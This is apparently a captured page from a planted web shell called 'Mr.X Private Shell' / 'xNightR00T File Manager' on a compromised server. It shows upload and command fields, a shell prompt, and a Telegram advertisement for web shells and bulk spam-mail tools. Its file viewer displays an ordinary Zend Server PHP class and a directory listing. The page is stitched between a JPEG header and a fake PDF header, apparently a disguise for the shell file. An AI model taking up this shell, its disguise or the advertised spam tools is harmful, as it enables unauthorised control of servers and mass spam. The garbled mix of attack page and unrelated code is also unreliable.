xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration;

use Messages\Db\MessageMapper;
use ZendServer\Log\Log;
use ZendServer\Exception as ZSException,
    ZendServer\Set,
    Messages\MessageContainer;

class DaemonContainer
{
    /**
     * @var array
     */
    protected $data;

    /**
     * @param array $extension
     */
    public function __construct(array $data)
    {
        $this->data = $data;
    }

    public function toArray()
    {
        return $this->data;
    }

    /**
     * @return string
     */
    public function getName()
    {
        return isset($this->data['name']) ? $this->data['name'] : '';
    }

    /**
     * @return string
     */
    public function getStatus()
    {
        if (($status = $this->getErrorStatus()) !== false) {
            return $this->data['status'] = $status;
        }

        if (isset($this->data['status']) && $this->data['status'] === 'None') { // actually, a non-existent daemon
            return $this->data['status'] = 'None';
        }

        return $this->data['status'] = 'OK';
    }

    /**
     * @return string
     */
    public function getShortDescription()
    {
        return isset($this->data['shortDescription']) ? trim($this->data['shortDescription']) : '';
    }

    /**
     * @return string
     */
    public function getLongDescription()
    {
        return isset($this->data['longDescription']) ? trim($this->data['longDescription']) : '';
    }

    /**
     * @return string
     */
    public function getMessageList()
    {
        if (!isset($this->data['MessageList'])) {
            return array();
        }

        $messageList = array();
        foreach ($this->data['MessageList'] as $nodeName => $msgs) {
            $messageList[$nodeName] = new Set($msgs, '\Messages\MessageContainer');
        }

        return $messageList;
    }

    /**
     * @return string
     */
    public function setMessageList($messageList, $nodeName)
    {
        $this->data['MessageList'][$nodeName][] = $messageList;
        return $this;
    }

    public function getRestartRequired()
    {
        if ($this->hasRestartMessages()) { // @todo - if the only messages are errors, should we actually return true?
            return 'true';
        }

        return 'false';
    }

    /**
     * @return boolean
     */
    protected function hasRestartMessages()
    {
        if (!isset($this->data['MessageList'])) {
            return false;
        }
        foreach ($this->data['MessageList'] as $nodeName => $msgs) {
            foreach ($msgs as $message) {
                if (in_array($message['TYPE'],
                        array(
                        MessageMapper::TYPE_EXTENSION_ENABLED,
                        MessageMapper::TYPE_DIRECTIVE_MODIFIED,
                        MessageMapper::TYPE_EXTENSION_DISABLED))) {

                    return true;
                }
            }
        }
        return false;
    }

    protected function getErrorStatus()
    {
        $found = false;
        foreach ($this->getMessageList() as $nodeId => $messages) {
            foreach ($messages as $message) { /* @var $message MessageContainer */
                if ($message->isError()) {
                    return 'Error'; // if error found, then we can stop searching
                } elseif ($message->isWarning()) {
                    $found = 'Warning'; // need to finish the search, as to ensure there're aren't any errors
                }
            }
        }

        return $found;
    }
}

Filemanager

Name Type Size Permission Actions
Audit Folder 0755
Controller Folder 0755
Forms Folder 0755
License Folder 0755
Task Folder 0755
View Folder 0755
DaemonContainer.php File 3.42 KB 0644
DbImport.php File 4.7 KB 0644
DdMapper.php File 16.8 KB 0644
DirectiveContainer.php File 7.51 KB 0644
ExtensionContainer.php File 4.34 KB 0644
GuiDbModel.php File 4.32 KB 0644
MapperAbstract.php File 9.68 KB 0644
MapperDirectives.php File 22.33 KB 0644
MapperDirectivesAzure.php File 1.18 KB 0644
MapperDirectivesStandalone.php File 8.88 KB 0644
MapperExtensions.php File 10.63 KB 0644
MapperReplies.php File 3.76 KB 0644
PhpVersion.php File 3.52 KB 0644
ReplyContainer.php File 618 B 0644
ServerInfoReplyContainer.php File 1.64 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1